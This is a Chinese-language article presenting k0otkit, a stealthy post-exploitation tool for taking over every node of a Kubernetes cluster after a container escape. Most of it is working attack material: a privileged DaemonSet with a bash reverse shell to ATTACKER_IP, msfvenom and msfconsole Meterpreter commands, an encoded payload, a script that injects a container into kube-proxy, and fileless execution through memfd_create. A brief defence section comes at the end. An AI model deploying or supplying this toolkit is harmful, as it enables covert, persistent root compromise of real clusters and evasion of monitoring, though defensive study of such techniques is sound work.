简介
本文涉及到的技术仅供教学、研究使用,禁止用于非法用途。
2020年的倒数第二天,我们在CIS网络安全创新大会[1]上跟大家分享了一种针对Kubernetes集群的通用后渗透控制技术(简称k0otkit[2]),利用Kubernetes自身特性、动态容器注入、无文件攻击等技术,在容器逃逸后实现对集群所有节点(无论集群规模大小)的快速、隐蔽、持续控制,同时还介绍了针对这种技术的防御和检测方法。
k0otkit的名称来自Kubernetes和rootkit。从该名称不难看出,我们希望k0otkit成为“Kubernetes集群内的rootkit”。k0otkit的新颖点在于:
- “快速、隐蔽、持续”实现对Kubernetes集群所有节点的控制。
- 因地制宜:利用多个Kubernetes自身特性(DaemonSet、Secret资源,kube-proxy镜像等)。
- 应用动态容器注入技术,极大提高隐蔽性。
- 应用无文件攻击技术,从内存发起攻击,全程不落地。
- 无限制条件,几乎适用于所有Kubernetes集群。
优秀的矛才能激发出优秀的盾,安全正是在一轮轮的攻防对抗中不断得到强化。本文将对k0otkit进行详细介绍,引导大家发掘云原生攻防的更多可能。
本文首先向大家介绍Kubernetes环境下的一般渗透过程,然后从k0otkit最初的基本思路开始,依次介绍基本功能和为实现更强隐蔽性和可用性的多次迭代,最后从攻击者和防守者两个不同的角度作总结。
Kubernetes环境下的一般渗透过程
Kubernetes,简称为K8s,是一个开源的容器化应用自动部署、伸缩和管理平台,已经成为容器编排的事实标准。
一个Kubernetes集群包含若干台服务器。其中,用于运行容器化应用的服务器被称为工作节点(worker node);用于运行控制平面(control plane)组件的服务器被称为控制节点或主节点(master node)。在计算资源充足的情况下,工作节点和控制节点并不重合,控制平面组件只运行在控制节点上,业务容器运行在工作节点上,以满足高可用的需求;然而,为了达到充分利用服务器资源的目的(或单节点集群的情况),有时也会允许控制节点上运行业务容器。
在针对传统主机环境的渗透测试中,我们通常以Web服务为突破口,成功获得Webshell后,还可能会进行权限提升和横向移动,最后,可能会对目标实施权限维持。如果目标位于域内,我们通常会尝试拿下域控制器,从而实现事半功倍的效果。Kubernetes集群与域环境在一定程度上具有相似性。
我们曾在《针对容器的渗透测试方法》[3]一文中介绍了针对容器的一些渗透测试思路和方法。结合一般的渗透过程,我们还可以梳理出一个针对Kubernetes的渗透测试流程:
同样,渗透测试以Web服务为突破口;拿到shell后执行命令来查看自己当前的权限,如果当前用户权限较低,可能需要考虑进行本地提权;在这个过程中可能会发现目标环境与传统主机环境存在差异,进而探明目标是一个容器,甚至位于Kubernetes内;为了扩大战果,会考虑进行容器逃逸;逃逸成功后,如果确定目标是一个Kubernetes集群,还可能会考虑对集群中每个节点实施控制;最后,将访问通道和权限隐蔽持久化。
然而,如果顺利进入到后渗透阶段,渗透测试人员很可能会遇到下面这样的场景:
什么意思呢?在真实场景中,一个Kubernetes集群可能由几个、几十个甚至更多节点组成。为了实现“控制整个集群每个节点”这一目标,难道要对所有这些节点一一进行渗透吗?前面我们说Kubernetes集群与域环境类似,那么在Kubernetes中能否通过类似“拿下域控制器”的方式一举完成对整个集群的控制呢?
这当然是可以的。前文提到,Kubernetes控制平面组件通常运行在控制节点上;另外,对容器逃逸的研究[4]告诉我们,容器逃逸后通常能够获得容器所在宿主机上的root权限。将这两点结合起来我们会发现,如果前期进行Web渗透的目标容器位于控制节点上,且成功从容器中逃逸,那么我们实际上能够凭借控制节点上的Kubernetes管理员凭证(kubeconfig)与Kubernetes API Server进行交互(甚至可以直接使用控制节点上的kubectl命令行工具)。
在这个场景中,我们是能够通过自动化的方式完成对整个集群所有节点的持续控制的。具体如何来做呢?这便是本文的主角——k0otkit的任务了。此时的渗透路线如下图所示:
接下来,我们就一起来看看k0otkit是如何完成对集群的“快速、隐蔽、持续”控制的。感兴趣的读者可以从Github上获得一份源码,跟着我们后面的思路,一起来研究。仓库地址:
https://github.com/brant-ruan/k0otkit
基本思路
“因地制宜”才能卓有成效,而且往往事半功倍。因此,既然已经取得了Kubernetes集群的管理员凭证,我们自然希望能够借助Kubernetes本身的诸多特性去控制集群。毕竟,Kubernetes基于Google 15年的生产经验发展而来,同时结合了来自社区的思考和实践[5],如果能够为渗透测试者所用,其效果一定很棒。
接触过Kubernetes的朋友们应该知道,Kubernetes内有一种叫做DaemonSet的资源,它能够确保全部(或者某些)节点上运行一个Pod的副本。当有节点加入集群时,也会为它们新增一个Pod;当有节点从集群移除时,这些Pod也会被回收[6]。
DaemonSet对于渗透测试者很有价值,因为:
- 它能够确保所有节点(包括新增节点)上都运行一个Pod。
- 如果有Pod退出,DaemonSet将在对应节点上自动重建一个Pod。
那么,如果把DaemonSet和反弹shell结合起来呢?如果利用管理员凭证在目标集群内创建一个内容为反弹shell的DaemonSet,我们就能够实现集群所有节点自动化反弹shell了。
基本功能实现
明确了基本思路——把DaemonSet和反弹shell结合起来,怎么结合呢?很简单,将DaemonSet创建的Pod的启动命令设置为反弹shell即可。
然而,仅仅有一个反弹shell是不够的,反弹回来的还是Pod容器内的shell,我们无法借助这个shell控制容器所在节点。回忆一下容器的基本概念——它是一种轻量级的虚拟化技术,实质是对进程从多个维度上进行隔离。那么,只要除去这些隔离,容器内进程就和宿主机上的进程没有太多差别了。具体来说,我们希望:
- 容器是特权的(相当于
docker run
的时候带了--privileged
选项)。 - 容器与宿主机共享网络和PID命名空间(打破命名空间隔离)。
- 容器内挂载宿主机根目录(打破文件系统隔离)。
将以上思路实现为YAML资源声明文件,内容如下:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: attacker
spec:
selector:
matchLabels:
app: attacker
template:
metadata:
labels:
app: attacker
spec:
hostNetwork: true
hostPID: true
containers:
- name: main
image: bash
imagePullPolicy: IfNotPresent
command: ["bash"]
# reverse shell
args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
利用容器逃逸后的shell在目标控制节点上将上述内容保存为k0otkit.yaml
并执行:
kubectl apply -f k0otkit.yaml
至此,我们完成了DaemonSet资源的创建,集群内每个节点将有一个恶意Pod出现,并向我们的攻击者机器反弹shell。利用这些shell,我们能够实现对任意节点的控制。
迭代一:删除敏感词
前面的基础版本能够实现预期功能——对集群中任意节点的快速控制,但是存在很多问题。首先,它太容易暴露了,管理员只需要执行一个简单的查看操作,就会发现异常资源:
kubectl get pods
接下来,我们将进行一系列的优化迭代,以提高k0otkit的隐蔽性和可用性。
首先,我们考虑将DaemonSet资源创建在kube-system系统命名空间下。这样一来,管理员执行前述命令将无法看到异常资源。在运行良好的Kubernetes集群内,查看kube-system命名空间资源状态的需求也是很少的,这就提高了隐蔽性:
metadata:
name: attacker
namespace: kube-system
# ......
另外,我们也考虑将所有敏感词——如DaemonSet的名称和标签——替换为不那么容易引起怀疑的名词,例如kube-cache
、kube-metrics
等,将前面YAML文件中的所有敏感词都用看起来正常的名词替换。
至此,k0otkit的隐蔽性得到一些提升。
迭代二:替换Shell为Meterpreter
目前为止,我们采用的是基于Bash的TCP协议反弹shell:
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
很明显,反弹shell是明文的,可以被网络入侵检测系统轻易检测到,从而触发告警。因此,我们考虑将反弹shell流量加密。
如何做呢?当然可以自己编写加密的反弹shell程序,也可以使用现成的。这里我们使用Metasploit项目中的Meterpreter[7]替换原来的Bash反弹shell,因为Meterpreter的流量是加密的。使用Meterpreter还有一个好处——我们能够使用msfconsole作为反弹shell的监听端,可以通过配置选项实现持续监听功能。这样一来,一旦由于操作不当等原因不小心退出了一个反弹shell,对应Pod将运行结束,DaemonSet监测到Pod退出,将自动在相同节点上重建一个新Pod,我们就能够在msfconsole中重新收获一个反弹shell,可用性大大提高。
具体来说,我们首先用msfvenom生成一个反弹shell二进制文件mrt:
msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -f elf -o mrt
然后以该二进制文件mrt为启动命令,构建一个容器镜像malicious_image
,确保目标集群中每一个节点都能够访问该镜像仓库URL,然后在“迭代一”基础上对DaemonSet资源的YAML文件稍作修改,使用malicious_image
镜像作为Pod内容器的创建模板,并设置启动命令为/mrt
。
接着,在反弹shell监听机器上启动msfconsole开启监听,其中set ExitOnSession
实现持续监听功能:
msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -jz"
最后,与前面一致,在目标控制节点上kubectl apply
创建DaemonSet资源。
至此,我们成功使用Meterpreter替换了Bash反弹shell,实现了流量加密和自动重连功能。
迭代三:无文件化
在前面一系列的优化过程中,大家可能会发现两个问题:
- 需要在目标控制节点上先创建一个本地YAML文件。
- 需要以二进制程序mrt为启动命令构建容器镜像。
为什么说是问题呢?在本地创建YAML文件可能会引起文件监控系统的告警;围绕二进制Meterpreter构建镜像则要么动静太大(在目标机器上直接构建),或者需要拉取外部恶意镜像(先构建好上传到公开仓库),容易触发镜像检查系统(如果有的话)的告警。
针对第一个问题,我们可以采用Linux命令行管道的方式解决。kubectl支持使用-f
选项从标准输入读取文件,再结合经典的cat/EOF
小技巧,我们得到以下命令模式:
cat << EOF | kubectl apply -f -
# {YAML文件内容}
EOF
我们只需要将原来DaemonSet的YAML文件填充在{YAML文件内容}
处,然后将以上cat开头EOF结尾的所有内容复制到目标控制节点上执行,就能够实现DaemonSet资源的创建,不必先在目标控制节点上创建YAML文件。
针对第二个问题,不去构建新镜像,我们的思路是将二进制Meterpreter编码为可见字符串,以环境变量的形式放在DaemonSet的YAML文件中。容器运行起来后,从环境变量中读取字符串并解码保存为二进制文件,然后再执行即可。
这就涉及到各种常见Linux命令行工具的配合使用了。首先是将msfvenom生成的Meterpreter进行编码:
TEMP_MRT=mrt
msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -f elf -o $TEMP_MRT &> /dev/null
PAYLOAD=$(hexdump -v -e '16/1 "_x%02X" "\n"' $TEMP_MRT | sed 's/_/\\/g; s/\\x //g' | tr -d '\n' | base64 -w 0)
这样一来,Meterpreter就被编码为一个长字符串。然后将上面PAYLOAD变量的内容填充在DaemonSet YAML中的{PAYLOAD_VALUE}
部分即可:
# ......
containers:
- name: main
image: bash
imagePullPolicy: IfNotPresent
command: ["bash"]
args: ["-c", "echo -ne $(echo $PAYLOAD | base64 -d) > mrt; chmod u+x mrt; ./mrt"]
env:
- name: PAYLOAD
value: "{PAYLOAD_VALUE}"
# .....
容器运行后,Meterpreter将会被解码并保存为容器内/mrt
文件,然后被执行。
至此,两个问题解决,k0otkit的隐蔽性得到进一步的提高。
迭代四:分离Payload
在“迭代三”部分,我们确实成功完成了Meterpreter的编码和解码过程,但是也引入了新的问题:Meterpreter编码后的字符串过长,放在DaemonSet的YAML内很容易被当作异常。例如,下面是笔者实验环境编码后的Meterpreter字符串:
XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXHgwMVx4MDBceDAwXHgwMFx4Q0RceDgw
这么长的字符串放在YAML内是不合适的。如何解决呢?前面说因地制宜,我们就“以其人之道,还治其人之身”。Kubernetes内有一类名为Secret的资源,Service Account Token正是以Secret形式存在。Secret本身就用来存储各种敏感信息,其内容通常是一个或多个很长的字符串,在容器内部引用时自动进行Base64解码。
了解了这些,前面的问题也就有了解决方法。我们创建一个新的Secret资源,将编码后的Meterpreter存放在其中,从DaemonSet的YAML中分离出去,这样就降低了DaemonSet的异常性。创建方法也很简单,将前面的编码字符串填充到下面命令中的{PAYLOAD_VALUE_BASE64}
处即可:
secret_name=proxy-cache
secret_data_name=content
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: {PAYLOAD_VALUE_BASE64}
EOF
另外,我们还需要修改DaemonSet的YAML,将上述Secret以环境变量形式加载到容器内部,与“迭代三”保持一致性。此过程较为简单,不再赘述。
迭代五:动态容器注入
事实上,前面所有的优化都没有关注到一个问题:如果管理员真的去查看kube-system命名空间下的资源,k0otkit将直接暴露。如何能将k0otkit的DaemonSet隐藏起来呢?
在传统主机攻防中,有一种技术叫做“进程注入”。这里,我们提出一种动态容器注入技术,直接将恶意容器注入到集群中已有的DaemonSet中,这样就不必创建新的DaemonSet资源了。
这一技术实际需要回答三个问题:
- 向哪里注入?
- 注入什么?
- 怎样注入?
第一个问题关系到这种技术的普适性。我们希望能够找到每个集群中一定会存在的DaemonSet,这样就不必考虑目标环境的具体情况了。符合“普遍存在”特征的通常是系统组件,经过调研,我们发现kube-system命名空间下的kube-proxy DaemonSet是一个非常好的注入对象。
第二个问题比较好回答。 对于我们来说,k0otkit最小的执行单位是容器。因此,我们希望能够将k0otkit容器注入到kube-proxy DaemonSet定义的Pod中。
现在只剩下第三个问题。在Kubernetes内,一切资源都是被“声明”出来的。那么,我们可以通过修改已运行的kube-proxy DaemonSet的YAML声明文件来实现容器注入。
简单来说,为了实现容器注入,我们需要完成三个步骤:
一、获取kube-proxy DaemonSet的YAML内容,对应操作如下:
kubectl get daemonset kube-proxy -n kube-system -o yaml
二、动态修改上述YAML内Pod的定义部分,在spec.template.spec.containers
内加入k0otkit反弹shell恶意容器的声明语句。本步骤较为复杂,主要思路是先根据关键词在YAML内查找到插入点的行号,然后利用sed工具将“迭代四”最后的DaemonSet YAML中spec.template.spec.containers
和spec.template.spec.volumes
部分插入到指定行后。具体流程可参考k0otkit的源代码。
三、用修改后的YAML替代系统内现运行的kube-proxy DaemonSet,对应操作如下:
| kubectl replace -f -
完成动态容器注入后,无论是查看DaemonSet资源:
还是查看Pod资源:
都看不到恶意容器了。它实际上就在上图中kube-proxy-vtttf pod内,从READY的容器数还是可以看出差异的,但是这一点差异是很难被发现的。
至此,k0otkit的隐蔽性得到极大提升。
迭代六:解决镜像依赖
在功能不受损的情况下,k0otkit的隐蔽性和可用性已经得到许多提高。然而,我们还没有考虑一个重要问题:镜像。前面的所有过程中,我们使用的都是bash镜像,但真实环境是复杂多样的:
- 如果目标环境没有bash镜像呢?
- 如果目标环境不允许从外部拉取镜像呢?
- 如果目标环境有镜像黑白名单呢?
- 如果目标环境对镜像拉取操作和流量有所监控呢?
- ……
所以,还是因地制宜。我们希望能够找到任何集群中必定存在的镜像,利用它。在“迭代五”中,我们已经发现集群中一定存在kube-proxy DaemonSet,那么理论上来说,集群中每个节点上都应该存在kube-proxy依赖的镜像,事实也正是如此。
好了,目标确定,但我们怎么利用kube-proxy镜像呢?经过探索,我们发现kube-proxy镜像内有echo和perl,后者是一个编程语言解释器,可以做的事情太多了。
例如,我们可以使用以下命令作为容器的启动命令,完成对Meterpreter的解码和执行:
echo $payload | perl -e 'print pack "H*", <STDIN>' > $binary_file; chmod u+x $binary_file; $binary_file
至此,k0otkit不必依赖任何外部镜像了,隐蔽性和可用性提高。
迭代七:无文件攻击
回过头来看,k0otkit渐渐从基础走向成熟。然而,我们还希望它更优秀一些。可以发现,从k0otkit开始执行到Meterpreter解码,整个过程是没有文件落地的,可以绕过可能存在的文件系统监控。然而,最后“将解码后的Meterpreter保存在容器内再执行”这个操作却导致前面的一切功亏一篑。能否将这一步也变成无文件攻击,从而实现全程无文件化呢?
答案是可以的。
最近无文件攻击技术(fileless attack)比较火,但是它本身并不是什么深奥的概念。Linux平台上一种典型的无文件攻击手段是使用memfd_create
系统调用创建一个“内存文件”[8],然后向该文件中填充二进制文件内容,最后执行这个内存文件。听起来很简单,但是结合实际,我们还要考虑两个问题:
- 容器内是否允许调用
memfd_create
? - 如果允许,怎么调用
memfd_create
?
“迭代六”中提到,kube-proxy镜像中提供了perl,我们可以使用它来发起系统调用,第二个问题解决。至于第一个问题,Docker以白名单的形式规定了默认情况下容器内可以执行的系统调用,memfd_create
恰在其中[9]。
理论上可行,我们来具体实现一下,将Meterpreter的解码和执行过程改写如下:
echo $payload | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select(($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) {wait}; if (0 == $pid){system(qq(/proc/$$/fd/$fd))}'
至此,k0otkit的整个执行过程实现了无文件化。此时k0otkit的核心代码如下:
# 名称定义
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
# 获取各插入点行号
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# 创建Meterpreter secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: PAYLOAD_VALUE_BASE64
EOF
# 动态容器注入
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl replace -f -
经测试,k0otkit能够实现对Kubernetes集群的快速、隐蔽、持续控制。测试样例见Github仓库[10]。
总结
攻击者角度
从攻击者的角度来看,k0otkit利用了多种技术和天然优势:
- DaemonSet和Secret资源(快速持续反弹、资源分离)
- kube-proxy镜像(就地取材)
- 动态容器注入(高隐蔽性)
- Meterpreter(流量加密、持续反弹)
- 无文件攻击(高隐蔽性)
防守者角度
从防守者的角度来看,如何防御和检测k0otkit呢?我们认为主要有以下几点:
- 设置Pod安全策略,禁止容器内root权限
- 设置Pod安全策略,限制容器内capabilities和系统调用能力
- 实时监控kube-system命名空间资源,避免灯下黑
- 实时检测容器内进程异常行为,及时告警+处置异常容器
- 针对无文件攻击的特征(如
memfd_create
)进行检测 - 实时检测容器异常流量,及时阻断
- 一旦发现,及时删除k0otkit,修复入侵路径所涉漏洞,做好安全更新
参考文献
- https://cis.freebuf.com/?id=65
- https://github.com/brant-ruan/k0otkit
- https://mp.weixin.qq.com/s/o5fGivwgBMR-w60SXQbSYA
- https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ
- https://kubernetes.io
- https://kubernetes.io/zh/docs/concepts/workloads/controllers/daemonset/
- https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
- https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
- https://docs.docker.com/engine/security/seccomp/
- https://github.com/brant-ruan/k0otkit#example